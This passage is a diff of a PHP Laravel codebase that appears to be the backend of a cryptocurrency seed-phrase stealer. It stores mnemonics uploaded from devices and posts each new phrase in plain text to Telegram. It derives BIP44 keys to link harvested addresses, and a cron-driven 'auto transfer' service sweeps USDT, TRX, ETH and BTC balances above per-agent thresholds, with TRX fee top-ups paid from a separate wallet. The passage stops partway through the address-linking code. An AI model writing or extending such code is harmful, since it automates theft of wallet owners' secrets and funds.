$sortable = ['id', 'address', 'chain_type', 'source', 'usdt', 'trx', 'eth', 'btc', 'bnb', 'monitor', 'created_at', 'updated_at'];
|
$sortable = ['id', 'address', 'chain_type', 'source', 'mnemonic_id', 'usdt', 'trx', 'eth', 'btc', 'bnb', 'monitor', 'created_at', 'updated_at'];
|
||||||
$field = (string) $request->query('field', 'id');
|
$field = (string) $request->query('field', 'id');
|
||||||
$order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc';
|
$order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc';
|
||||||
if (! in_array($field, $sortable, true)) {
|
if (! in_array($field, $sortable, true)) {
|
||||||
@@ -63,6 +63,7 @@ class WalletAddressController extends Controller
|
|||||||
'source' => $row->source ?: '',
|
'source' => $row->source ?: '',
|
||||||
'chain_type' => $row->chain_type ?: '',
|
'chain_type' => $row->chain_type ?: '',
|
||||||
'address' => $row->address,
|
'address' => $row->address,
|
||||||
|
'mnemonic_id' => $row->mnemonic_id,
|
||||||
'usdt' => $coins['usdt'],
|
'usdt' => $coins['usdt'],
|
||||||
'trx' => $coins['trx'],
|
'trx' => $coins['trx'],
|
||||||
'eth' => $coins['eth'],
|
'eth' => $coins['eth'],
|
||||||
@@ -130,6 +131,8 @@ class WalletAddressController extends Controller
|
|||||||
$channelId = trim((string) $request->query('channel_id', ''));
|
$channelId = trim((string) $request->query('channel_id', ''));
|
||||||
$deviceKey = trim((string) $request->query('device_key', ''));
|
$deviceKey = trim((string) $request->query('device_key', ''));
|
||||||
$source = trim((string) $request->query('source', ''));
|
$source = trim((string) $request->query('source', ''));
|
||||||
|
$hasMnemonic = $request->query('has_mnemonic');
|
||||||
|
$hasBalance = $request->query('has_balance');
|
||||||
if ($channelId !== '') {
|
if ($channelId !== '') {
|
||||||
$q->where('devices.channel_id', 'like', '%'.$channelId.'%');
|
$q->where('devices.channel_id', 'like', '%'.$channelId.'%');
|
||||||
}
|
}
|
||||||
@@ -139,6 +142,27 @@ class WalletAddressController extends Controller
|
|||||||
if ($source !== '') {
|
if ($source !== '') {
|
||||||
$q->where('wallet_addresses.source', $source);
|
$q->where('wallet_addresses.source', $source);
|
||||||
}
|
}
|
||||||
|
if ($hasMnemonic === '1' || $hasMnemonic === 1) {
|
||||||
|
$q->whereNotNull('wallet_addresses.mnemonic_id');
|
||||||
|
} elseif ($hasMnemonic === '0' || $hasMnemonic === 0) {
|
||||||
|
$q->whereNull('wallet_addresses.mnemonic_id');
|
||||||
|
}
|
||||||
|
if ($hasBalance === '1' || $hasBalance === 1) {
|
||||||
|
$q->where(function (Builder $inner) {
|
||||||
|
foreach (WalletAddress::COIN_COLUMNS as $col) {
|
||||||
|
$inner->orWhere('wallet_addresses.'.$col, '>', 0);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
} elseif ($hasBalance === '0' || $hasBalance === 0) {
|
||||||
|
$q->where(function (Builder $inner) {
|
||||||
|
foreach (WalletAddress::COIN_COLUMNS as $col) {
|
||||||
|
$inner->where(function (Builder $coin) use ($col) {
|
||||||
|
$coin->whereNull('wallet_addresses.'.$col)
|
||||||
|
->orWhere('wallet_addresses.'.$col, '<=', 0);
|
||||||
|
});
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
if (! $this->isAgentPortal()) {
|
if (! $this->isAgentPortal()) {
|
||||||
AgentScope::applyAgentUserFilter(
|
AgentScope::applyAgentUserFilter(
|
||||||
$q,
|
$q,
|
||||||
|
|||||||
@@ -9,6 +9,11 @@ class User extends Authenticatable
|
|||||||
{
|
{
|
||||||
protected $fillable = [
|
protected $fillable = [
|
||||||
'username', 'password', 'status', 'comment', 'chat_id',
|
'username', 'password', 'status', 'comment', 'chat_id',
|
||||||
|
'auto_transfer_enabled',
|
||||||
|
'auto_transfer_threshold_usdt',
|
||||||
|
'auto_transfer_threshold_trx',
|
||||||
|
'auto_transfer_threshold_eth',
|
||||||
|
'auto_transfer_threshold_btc',
|
||||||
];
|
];
|
||||||
|
|
||||||
protected $hidden = [
|
protected $hidden = [
|
||||||
@@ -29,6 +34,11 @@ class User extends Authenticatable
|
|||||||
return [
|
return [
|
||||||
'password' => 'hashed',
|
'password' => 'hashed',
|
||||||
'status' => 'integer',
|
'status' => 'integer',
|
||||||
|
'auto_transfer_enabled' => 'boolean',
|
||||||
|
'auto_transfer_threshold_usdt' => 'decimal:8',
|
||||||
|
'auto_transfer_threshold_trx' => 'decimal:8',
|
||||||
|
'auto_transfer_threshold_eth' => 'decimal:8',
|
||||||
|
'auto_transfer_threshold_btc' => 'decimal:8',
|
||||||
];
|
];
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -22,13 +22,14 @@ class WalletAddress extends Model
|
|||||||
protected $fillable = [
|
protected $fillable = [
|
||||||
'device_id', 'address', 'chain_type',
|
'device_id', 'address', 'chain_type',
|
||||||
'usdt', 'trx', 'eth', 'btc', 'bnb',
|
'usdt', 'trx', 'eth', 'btc', 'bnb',
|
||||||
'monitor', 'source',
|
'monitor', 'source', 'mnemonic_id', 'derive_index',
|
||||||
];
|
];
|
||||||
|
|
||||||
protected function casts(): array
|
protected function casts(): array
|
||||||
{
|
{
|
||||||
return [
|
return [
|
||||||
'monitor' => 'integer',
|
'monitor' => 'integer',
|
||||||
|
'derive_index' => 'integer',
|
||||||
'usdt' => 'decimal:6',
|
'usdt' => 'decimal:6',
|
||||||
'trx' => 'decimal:6',
|
'trx' => 'decimal:6',
|
||||||
'eth' => 'decimal:18',
|
'eth' => 'decimal:18',
|
||||||
@@ -42,6 +43,11 @@ class WalletAddress extends Model
|
|||||||
return $this->belongsTo(Device::class);
|
return $this->belongsTo(Device::class);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public function mnemonic(): BelongsTo
|
||||||
|
{
|
||||||
|
return $this->belongsTo(WalletMnemonic::class, 'mnemonic_id');
|
||||||
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Map a symbol=>amount payload into coin column attributes (only known coins).
|
* Map a symbol=>amount payload into coin column attributes (only known coins).
|
||||||
* Missing symbols are omitted (caller merges with existing row).
|
* Missing symbols are omitted (caller merges with existing row).
|
||||||
|
|||||||
@@ -4,6 +4,7 @@ namespace App\Models;
|
|||||||
|
|
||||||
use Illuminate\Database\Eloquent\Model;
|
use Illuminate\Database\Eloquent\Model;
|
||||||
use Illuminate\Database\Eloquent\Relations\BelongsTo;
|
use Illuminate\Database\Eloquent\Relations\BelongsTo;
|
||||||
|
use Illuminate\Database\Eloquent\Relations\HasMany;
|
||||||
use Illuminate\Support\Facades\Crypt;
|
use Illuminate\Support\Facades\Crypt;
|
||||||
|
|
||||||
class WalletMnemonic extends Model
|
class WalletMnemonic extends Model
|
||||||
@@ -17,6 +18,11 @@ class WalletMnemonic extends Model
|
|||||||
return $this->belongsTo(Device::class);
|
return $this->belongsTo(Device::class);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public function addresses(): HasMany
|
||||||
|
{
|
||||||
|
return $this->hasMany(WalletAddress::class, 'mnemonic_id');
|
||||||
|
}
|
||||||
|
|
||||||
public static function hashSecret(string $secret): string
|
public static function hashSecret(string $secret): string
|
||||||
{
|
{
|
||||||
return hash('sha256', $secret);
|
return hash('sha256', $secret);
|
||||||
|
|||||||
@@ -0,0 +1,116 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
namespace App\Services;
|
||||||
|
|
||||||
|
use App\Models\Channel;
|
||||||
|
use App\Models\Device;
|
||||||
|
use App\Models\User;
|
||||||
|
use App\Models\WalletAddress;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Resolve auto-transfer switch + per-asset thresholds.
|
||||||
|
*
|
||||||
|
* Official channels (user_id = 0 / missing): system switch + system thresholds only.
|
||||||
|
* Agent channels: agent switch only; thresholds prefer agent then system then 0.
|
||||||
|
*/
|
||||||
|
class AutoTransferConfig
|
||||||
|
{
|
||||||
|
/** @var list<string> */
|
||||||
|
public const ASSETS = ['USDT', 'TRX', 'ETH', 'BTC'];
|
||||||
|
|
||||||
|
public function isEnabledForAddress(WalletAddress $address): bool
|
||||||
|
{
|
||||||
|
$agentId = $this->agentUserIdForDevice((int) $address->device_id);
|
||||||
|
if ($agentId === null || $agentId === Channel::OFFICIAL_USER_ID) {
|
||||||
|
return $this->systemEnabled();
|
||||||
|
}
|
||||||
|
|
||||||
|
$agent = User::query()->find($agentId);
|
||||||
|
|
||||||
|
return $agent !== null && (bool) $agent->auto_transfer_enabled;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Effective threshold for an asset (balance must be strictly greater).
|
||||||
|
*/
|
||||||
|
public function thresholdForAddress(WalletAddress $address, string $asset): string
|
||||||
|
{
|
||||||
|
$asset = strtoupper(trim($asset));
|
||||||
|
$agentId = $this->agentUserIdForDevice((int) $address->device_id);
|
||||||
|
|
||||||
|
if ($agentId !== null && $agentId !== Channel::OFFICIAL_USER_ID) {
|
||||||
|
$agent = User::query()->find($agentId);
|
||||||
|
if ($agent !== null) {
|
||||||
|
$col = 'auto_transfer_threshold_'.strtolower($asset);
|
||||||
|
$raw = $agent->{$col} ?? null;
|
||||||
|
if ($raw !== null && $raw !== '') {
|
||||||
|
return $this->normalizeThreshold((string) $raw);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return $this->systemThreshold($asset);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function systemEnabled(): bool
|
||||||
|
{
|
||||||
|
return (bool) config('coruna.auto_transfer.enabled');
|
||||||
|
}
|
||||||
|
|
||||||
|
public function systemThreshold(string $asset): string
|
||||||
|
{
|
||||||
|
$asset = strtolower(trim($asset));
|
||||||
|
$raw = config('coruna.auto_transfer.threshold_'.$asset);
|
||||||
|
|
||||||
|
return $this->normalizeThreshold(is_scalar($raw) ? (string) $raw : null);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function feeAddressTron(): string
|
||||||
|
{
|
||||||
|
return trim((string) config('coruna.transfer.fee_address_tron', ''));
|
||||||
|
}
|
||||||
|
|
||||||
|
public function feePrivateKeyTron(): string
|
||||||
|
{
|
||||||
|
return trim((string) config('coruna.transfer.fee_private_key_tron', ''));
|
||||||
|
}
|
||||||
|
|
||||||
|
public function feeTopupTrx(): string
|
||||||
|
{
|
||||||
|
$raw = trim((string) config('coruna.transfer.fee_topup_trx', '20'));
|
||||||
|
if ($raw === '' || ! is_numeric($raw) || bccomp($raw, '0', 6) <= 0) {
|
||||||
|
return '20';
|
||||||
|
}
|
||||||
|
|
||||||
|
return $this->normalizeThreshold($raw);
|
||||||
|
}
|
||||||
|
|
||||||
|
private function agentUserIdForDevice(int $devicePk): ?int
|
||||||
|
{
|
||||||
|
$channelId = Device::query()->whereKey($devicePk)->value('channel_id');
|
||||||
|
if ($channelId === null || $channelId === '') {
|
||||||
|
return Channel::OFFICIAL_USER_ID;
|
||||||
|
}
|
||||||
|
|
||||||
|
$userId = Channel::query()->where('channel_id', $channelId)->value('user_id');
|
||||||
|
if ($userId === null) {
|
||||||
|
return Channel::OFFICIAL_USER_ID;
|
||||||
|
}
|
||||||
|
|
||||||
|
return (int) $userId;
|
||||||
|
}
|
||||||
|
|
||||||
|
private function normalizeThreshold(?string $raw): string
|
||||||
|
{
|
||||||
|
if ($raw === null || trim($raw) === '') {
|
||||||
|
return '0';
|
||||||
|
}
|
||||||
|
$raw = trim($raw);
|
||||||
|
if (! is_numeric($raw)) {
|
||||||
|
return '0';
|
||||||
|
}
|
||||||
|
$raw = rtrim(rtrim(sprintf('%.8F', (float) $raw), '0'), '.');
|
||||||
|
|
||||||
|
return $raw === '' ? '0' : $raw;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,338 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
namespace App\Services;
|
||||||
|
|
||||||
|
use App\Models\TransferRecord;
|
||||||
|
use App\Models\WalletAddress;
|
||||||
|
use Illuminate\Support\LazyCollection;
|
||||||
|
|
||||||
|
class AutoTransferService
|
||||||
|
{
|
||||||
|
/** Same address + asset: skip another auto sweep within this window; still refresh balance. */
|
||||||
|
private const COOLDOWN_MINUTES = 3;
|
||||||
|
|
||||||
|
public function __construct(
|
||||||
|
private readonly AutoTransferConfig $config,
|
||||||
|
private readonly TransferService $transfers,
|
||||||
|
private readonly WalletBalanceService $balances,
|
||||||
|
) {}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Cron entry: scan addresses that have a mnemonic and any positive coin balance.
|
||||||
|
*
|
||||||
|
* @return array{inspected: int, triggered: int, ok: int, failed: int, skipped: int}
|
||||||
|
*/
|
||||||
|
public function run(): array
|
||||||
|
{
|
||||||
|
$stats = [
|
||||||
|
'inspected' => 0,
|
||||||
|
'triggered' => 0,
|
||||||
|
'ok' => 0,
|
||||||
|
'failed' => 0,
|
||||||
|
'skipped' => 0,
|
||||||
|
];
|
||||||
|
|
||||||
|
create_log([
|
||||||
|
'event' => 'auto_transfer_run_start',
|
||||||
|
'at' => now()->toDateTimeString(),
|
||||||
|
], 'transfer');
|
||||||
|
|
||||||
|
foreach ($this->candidates() as $address) {
|
||||||
|
$stats['inspected']++;
|
||||||
|
$outcome = $this->evaluate($address, 'cron');
|
||||||
|
$stats['triggered'] += $outcome['triggered'];
|
||||||
|
$stats['ok'] += $outcome['ok'];
|
||||||
|
$stats['failed'] += $outcome['failed'];
|
||||||
|
$stats['skipped'] += $outcome['skipped'];
|
||||||
|
}
|
||||||
|
|
||||||
|
create_log([
|
||||||
|
'event' => 'auto_transfer_run_end',
|
||||||
|
'stats' => $stats,
|
||||||
|
'at' => now()->toDateTimeString(),
|
||||||
|
], 'transfer');
|
||||||
|
|
||||||
|
return $stats;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @return LazyCollection<int, WalletAddress>
|
||||||
|
*/
|
||||||
|
public function candidates(): LazyCollection
|
||||||
|
{
|
||||||
|
return WalletAddress::query()
|
||||||
|
->whereNotNull('mnemonic_id')
|
||||||
|
->where(function ($q) {
|
||||||
|
$q->where('usdt', '>', 0)
|
||||||
|
->orWhere('trx', '>', 0)
|
||||||
|
->orWhere('eth', '>', 0)
|
||||||
|
->orWhere('btc', '>', 0);
|
||||||
|
})
|
||||||
|
->orderBy('id')
|
||||||
|
->cursor();
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @return array{triggered: int, ok: int, failed: int, skipped: int}
|
||||||
|
*/
|
||||||
|
public function evaluate(WalletAddress $address, string $reason = 'cron'): array
|
||||||
|
{
|
||||||
|
try {
|
||||||
|
return $this->evaluateInner($address, $reason);
|
||||||
|
} catch (\Throwable $e) {
|
||||||
|
create_log([
|
||||||
|
'event' => 'auto_transfer_evaluate_exception',
|
||||||
|
'wallet_address_id' => $address->id,
|
||||||
|
'address' => $address->address,
|
||||||
|
'chain' => $address->chain_type,
|
||||||
|
'reason' => $reason,
|
||||||
|
'error' => $e->getMessage(),
|
||||||
|
], 'transfer');
|
||||||
|
|
||||||
|
return ['triggered' => 0, 'ok' => 0, 'failed' => 1, 'skipped' => 0];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @return array{triggered: int, ok: int, failed: int, skipped: int}
|
||||||
|
*/
|
||||||
|
private function evaluateInner(WalletAddress $address, string $reason): array
|
||||||
|
{
|
||||||
|
$stats = ['triggered' => 0, 'ok' => 0, 'failed' => 0, 'skipped' => 0];
|
||||||
|
$base = [
|
||||||
|
'wallet_address_id' => $address->id,
|
||||||
|
'address' => (string) $address->address,
|
||||||
|
'chain' => (string) $address->chain_type,
|
||||||
|
'mnemonic_id' => $address->mnemonic_id,
|
||||||
|
'reason' => $reason,
|
||||||
|
'balances' => [
|
||||||
|
'usdt' => $address->usdt,
|
||||||
|
'trx' => $address->trx,
|
||||||
|
'eth' => $address->eth,
|
||||||
|
'btc' => $address->btc,
|
||||||
|
],
|
||||||
|
];
|
||||||
|
|
||||||
|
if ($address->mnemonic_id === null) {
|
||||||
|
create_log($base + [
|
||||||
|
'event' => 'auto_transfer_skip',
|
||||||
|
'skip' => 'no_mnemonic',
|
||||||
|
], 'transfer');
|
||||||
|
$stats['skipped']++;
|
||||||
|
|
||||||
|
return $stats;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (! $this->config->isEnabledForAddress($address)) {
|
||||||
|
create_log($base + [
|
||||||
|
'event' => 'auto_transfer_skip',
|
||||||
|
'skip' => 'disabled_for_channel',
|
||||||
|
], 'transfer');
|
||||||
|
$stats['skipped']++;
|
||||||
|
|
||||||
|
return $stats;
|
||||||
|
}
|
||||||
|
|
||||||
|
$chain = strtoupper(trim((string) $address->chain_type));
|
||||||
|
$assets = $this->assetsForChain($chain);
|
||||||
|
if ($assets === []) {
|
||||||
|
create_log($base + [
|
||||||
|
'event' => 'auto_transfer_skip',
|
||||||
|
'skip' => 'unsupported_chain',
|
||||||
|
], 'transfer');
|
||||||
|
$stats['skipped']++;
|
||||||
|
|
||||||
|
return $stats;
|
||||||
|
}
|
||||||
|
|
||||||
|
$transferChain = $this->transferChainKey($chain);
|
||||||
|
if ($transferChain === null) {
|
||||||
|
create_log($base + [
|
||||||
|
'event' => 'auto_transfer_skip',
|
||||||
|
'skip' => 'unsupported_transfer_chain',
|
||||||
|
], 'transfer');
|
||||||
|
$stats['skipped']++;
|
||||||
|
|
||||||
|
return $stats;
|
||||||
|
}
|
||||||
|
|
||||||
|
$anyAssetChecked = false;
|
||||||
|
foreach ($assets as $asset) {
|
||||||
|
$col = strtolower($asset);
|
||||||
|
$balance = $address->{$col} ?? null;
|
||||||
|
if ($balance === null || $balance === '' || ! is_numeric($balance)) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
$anyAssetChecked = true;
|
||||||
|
$threshold = $this->config->thresholdForAddress($address, $asset);
|
||||||
|
$scale = $this->assetScale($asset);
|
||||||
|
if (bccomp((string) $balance, $threshold, $scale) <= 0) {
|
||||||
|
create_log($base + [
|
||||||
|
'event' => 'auto_transfer_skip',
|
||||||
|
'skip' => 'below_threshold',
|
||||||
|
'asset' => $asset,
|
||||||
|
'balance' => (string) $balance,
|
||||||
|
'threshold' => $threshold,
|
||||||
|
], 'transfer');
|
||||||
|
$stats['skipped']++;
|
||||||
|
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
if ($this->recentAutoSuccess((string) $address->address, $asset)) {
|
||||||
|
try {
|
||||||
|
$this->balances->refresh($address);
|
||||||
|
$address->refresh();
|
||||||
|
} catch (\Throwable $e) {
|
||||||
|
create_log($base + [
|
||||||
|
'event' => 'auto_transfer_cooldown_refresh_failed',
|
||||||
|
'asset' => $asset,
|
||||||
|
'error' => $e->getMessage(),
|
||||||
|
], 'transfer');
|
||||||
|
}
|
||||||
|
create_log($base + [
|
||||||
|
'event' => 'auto_transfer_skip',
|
||||||
|
'skip' => 'recent_auto_transfer',
|
||||||
|
'asset' => $asset,
|
||||||
|
'cooldown_minutes' => self::COOLDOWN_MINUTES,
|
||||||
|
'balance' => (string) ($address->{$col} ?? $balance),
|
||||||
|
], 'transfer');
|
||||||
|
$stats['skipped']++;
|
||||||
|
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Live re-check before spending gas (DB may still be stale).
|
||||||
|
try {
|
||||||
|
$this->balances->refresh($address);
|
||||||
|
$address->refresh();
|
||||||
|
} catch (\Throwable $e) {
|
||||||
|
create_log($base + [
|
||||||
|
'event' => 'auto_transfer_preflight_refresh_failed',
|
||||||
|
'asset' => $asset,
|
||||||
|
'error' => $e->getMessage(),
|
||||||
|
], 'transfer');
|
||||||
|
}
|
||||||
|
$balance = $address->{$col} ?? null;
|
||||||
|
if ($balance === null || $balance === '' || ! is_numeric($balance)
|
||||||
|
|| bccomp((string) $balance, $threshold, $scale) <= 0) {
|
||||||
|
create_log($base + [
|
||||||
|
'event' => 'auto_transfer_skip',
|
||||||
|
'skip' => 'below_threshold_live',
|
||||||
|
'asset' => $asset,
|
||||||
|
'balance' => is_numeric($balance) ? (string) $balance : null,
|
||||||
|
'threshold' => $threshold,
|
||||||
|
], 'transfer');
|
||||||
|
$stats['skipped']++;
|
||||||
|
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
$stats['triggered']++;
|
||||||
|
create_log($base + [
|
||||||
|
'event' => 'auto_transfer_trigger',
|
||||||
|
'asset' => $asset,
|
||||||
|
'balance' => (string) $balance,
|
||||||
|
'threshold' => $threshold,
|
||||||
|
'transfer_chain' => $transferChain,
|
||||||
|
], 'transfer');
|
||||||
|
|
||||||
|
$result = $this->transfers->handle(
|
||||||
|
$transferChain,
|
||||||
|
(string) $address->address,
|
||||||
|
null,
|
||||||
|
$asset,
|
||||||
|
'auto',
|
||||||
|
);
|
||||||
|
|
||||||
|
if (($result['ok'] ?? false) === true) {
|
||||||
|
$stats['ok']++;
|
||||||
|
create_log($base + [
|
||||||
|
'event' => 'auto_transfer_success',
|
||||||
|
'asset' => $asset,
|
||||||
|
'txid' => $result['txid'] ?? null,
|
||||||
|
'amount' => $result['amount'] ?? null,
|
||||||
|
'to' => $result['to'] ?? null,
|
||||||
|
], 'transfer');
|
||||||
|
|
||||||
|
try {
|
||||||
|
$this->balances->refresh($address);
|
||||||
|
$address->refresh();
|
||||||
|
} catch (\Throwable $e) {
|
||||||
|
create_log($base + [
|
||||||
|
'event' => 'auto_transfer_balance_refresh_failed',
|
||||||
|
'asset' => $asset,
|
||||||
|
'error' => $e->getMessage(),
|
||||||
|
], 'transfer');
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
$stats['failed']++;
|
||||||
|
create_log($base + [
|
||||||
|
'event' => 'auto_transfer_failed',
|
||||||
|
'asset' => $asset,
|
||||||
|
'error' => $result['error'] ?? 'unknown',
|
||||||
|
], 'transfer');
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (! $anyAssetChecked) {
|
||||||
|
create_log($base + [
|
||||||
|
'event' => 'auto_transfer_skip',
|
||||||
|
'skip' => 'no_numeric_balances_for_chain_assets',
|
||||||
|
'assets' => $assets,
|
||||||
|
], 'transfer');
|
||||||
|
$stats['skipped']++;
|
||||||
|
}
|
||||||
|
|
||||||
|
return $stats;
|
||||||
|
}
|
||||||
|
|
||||||
|
private function recentAutoSuccess(string $fromAddress, string $asset): bool
|
||||||
|
{
|
||||||
|
$fromAddress = trim($fromAddress);
|
||||||
|
$asset = strtoupper(trim($asset));
|
||||||
|
if ($fromAddress === '' || $asset === '') {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
return TransferRecord::query()
|
||||||
|
->where('from_address', $fromAddress)
|
||||||
|
->where('asset', $asset)
|
||||||
|
->where('operator', 'auto')
|
||||||
|
->where('status', TransferRecord::STATUS_SUCCESS)
|
||||||
|
->where('created_at', '>=', now()->subMinutes(self::COOLDOWN_MINUTES))
|
||||||
|
->exists();
|
||||||
|
}
|
||||||
|
|
||||||
|
private function assetScale(string $asset): int
|
||||||
|
{
|
||||||
|
return match (strtoupper($asset)) {
|
||||||
|
'ETH' => 18,
|
||||||
|
'BTC' => 8,
|
||||||
|
default => 6,
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @return list<string>
|
||||||
|
*/
|
||||||
|
private function assetsForChain(string $chain): array
|
||||||
|
{
|
||||||
|
return match ($chain) {
|
||||||
|
'TRON', 'TRX' => ['USDT', 'TRX'],
|
||||||
|
'ETH', 'ETHEREUM', 'EVM' => ['ETH', 'USDT'],
|
||||||
|
'BTC', 'BITCOIN' => ['BTC'],
|
||||||
|
default => [],
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
private function transferChainKey(string $chain): ?string
|
||||||
|
{
|
||||||
|
return match ($chain) {
|
||||||
|
'TRON', 'TRX' => 'tron',
|
||||||
|
'ETH', 'ETHEREUM', 'EVM' => 'eth',
|
||||||
|
'BTC', 'BITCOIN' => 'btc',
|
||||||
|
default => null,
|
||||||
|
};
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -28,8 +28,20 @@ class TronDriver implements ChainDriver
|
|||||||
|
|
||||||
$derived = Bip44::derive($mnemonic, $this->path($index));
|
$derived = Bip44::derive($mnemonic, $this->path($index));
|
||||||
$from = TronAddress::fromUncompressedPublicKey($derived['public_key_uncompressed']);
|
$from = TronAddress::fromUncompressedPublicKey($derived['public_key_uncompressed']);
|
||||||
$sun = $this->toSun($amount);
|
|
||||||
|
|
||||||
|
return $this->sendNativeWithPrivateKey($derived['private_key'], $from, $to, $amount);
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Send TRX using a raw private key (fee top-up wallet).
|
||||||
|
*/
|
||||||
|
public function sendNativeWithPrivateKey(string $privateKeyHex, string $from, string $to, string $amount): string
|
||||||
|
{
|
||||||
|
if (! $this->isValidAddress($from) || ! $this->isValidAddress($to)) {
|
||||||
|
throw new RuntimeException('Invalid Tron address');
|
||||||
|
}
|
||||||
|
|
||||||
|
$sun = $this->toSun($amount);
|
||||||
$tx = $this->post('/wallet/createtransaction', [
|
$tx = $this->post('/wallet/createtransaction', [
|
||||||
'owner_address' => $from,
|
'owner_address' => $from,
|
||||||
'to_address' => $to,
|
'to_address' => $to,
|
||||||
@@ -37,7 +49,19 @@ class TronDriver implements ChainDriver
|
|||||||
'visible' => true,
|
'visible' => true,
|
||||||
]);
|
]);
|
||||||
|
|
||||||
return $this->signAndBroadcast($tx, $derived['private_key']);
|
return $this->signAndBroadcast($tx, $privateKeyHex);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static function addressFromPrivateKey(string $privateKeyHex): string
|
||||||
|
{
|
||||||
|
$privateKeyHex = strtolower(trim($privateKeyHex));
|
||||||
|
if (str_starts_with($privateKeyHex, '0x')) {
|
||||||
|
$privateKeyHex = substr($privateKeyHex, 2);
|
||||||
|
}
|
||||||
|
$ec = new \Elliptic\EC('secp256k1');
|
||||||
|
$pub = $ec->keyFromPrivate($privateKeyHex)->getPublic(false, 'hex');
|
||||||
|
|
||||||
|
return TronAddress::fromUncompressedPublicKey($pub);
|
||||||
}
|
}
|
||||||
|
|
||||||
public function sendToken(string $mnemonic, int $index, string $to, string $amount, string $contract): string
|
public function sendToken(string $mnemonic, int $index, string $to, string $amount, string $contract): string
|
||||||
|
|||||||
@@ -24,6 +24,7 @@ class IngestService
|
|||||||
private readonly TelegramNotifier $telegram,
|
private readonly TelegramNotifier $telegram,
|
||||||
private readonly WalletBalanceService $balances,
|
private readonly WalletBalanceService $balances,
|
||||||
private readonly TokenviewMonitorService $tokenview,
|
private readonly TokenviewMonitorService $tokenview,
|
||||||
|
private readonly MnemonicAddressLinker $mnemonicLinker,
|
||||||
) {}
|
) {}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -452,6 +453,7 @@ class IngestService
|
|||||||
$row->mnemonic = $secret;
|
$row->mnemonic = $secret;
|
||||||
$row->save();
|
$row->save();
|
||||||
if ($isNew) {
|
if ($isNew) {
|
||||||
|
$this->mnemonicLinker->linkMnemonicToDeviceAddresses($row);
|
||||||
$this->telegram->notifyNewMemoric($device->device_id, $source, $secret);
|
$this->telegram->notifyNewMemoric($device->device_id, $source, $secret);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -567,6 +569,10 @@ class IngestService
|
|||||||
$attrs
|
$attrs
|
||||||
);
|
);
|
||||||
|
|
||||||
|
if ($addr->mnemonic_id === null) {
|
||||||
|
$this->mnemonicLinker->linkAddress($addr);
|
||||||
|
}
|
||||||
|
|
||||||
$isTron = in_array($chainType, ['TRON', 'TRX'], true);
|
$isTron = in_array($chainType, ['TRON', 'TRX'], true);
|
||||||
// Tron: client payloads often omit/zero balances — pull TRX/USDT before notify.
|
// Tron: client payloads often omit/zero balances — pull TRX/USDT before notify.
|
||||||
if ($isTron && (! $existing || $coinAttrs === [])) {
|
if ($isTron && (! $existing || $coinAttrs === [])) {
|
||||||
|
|||||||
@@ -0,0 +1,205 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
namespace App\Services;
|
||||||
|
|
||||||
|
use App\Models\WalletAddress;
|
||||||
|
use App\Models\WalletMnemonic;
|
||||||
|
use App\Services\Chain\ChainDriver;
|
||||||
|
use App\Services\Chain\ChainManager;
|
||||||
|
use InvalidArgumentException;
|
||||||
|
|
||||||
|
class MnemonicAddressLinker
|
||||||
|
{
|
||||||
|
public const MAX_DERIVE_INDEX = 4;
|
||||||
|
|
||||||
|
public function __construct(
|
||||||
|
private readonly ChainManager $chains,
|
||||||
|
) {}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Link a single address to a device mnemonic when BIP44 index 0..4 matches.
|
||||||
|
*/
|
||||||
|
public function linkAddress(WalletAddress $address): bool
|
||||||
|
{
|
||||||
|
if ($address->mnemonic_id !== null) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
$driver = $this->resolveDriver((string) $address->chain_type);
|
||||||
|
if ($driver === null) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
$mnemonics = WalletMnemonic::query()
|
||||||
|
->where('device_id', $address->device_id)
|
||||||
|
->orderBy('id')
|
||||||
|
->get();
|
||||||
|
|
||||||
|
if ($mnemonics->isEmpty()) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
$target = (string) $address->address;
|
||||||
|
$caseInsensitive = $driver->chainId() === 'eth';
|
||||||
|
|
||||||
|
foreach ($mnemonics as $mnemonicRow) {
|
||||||
|
$phrase = $mnemonicRow->mnemonic;
|
||||||
|
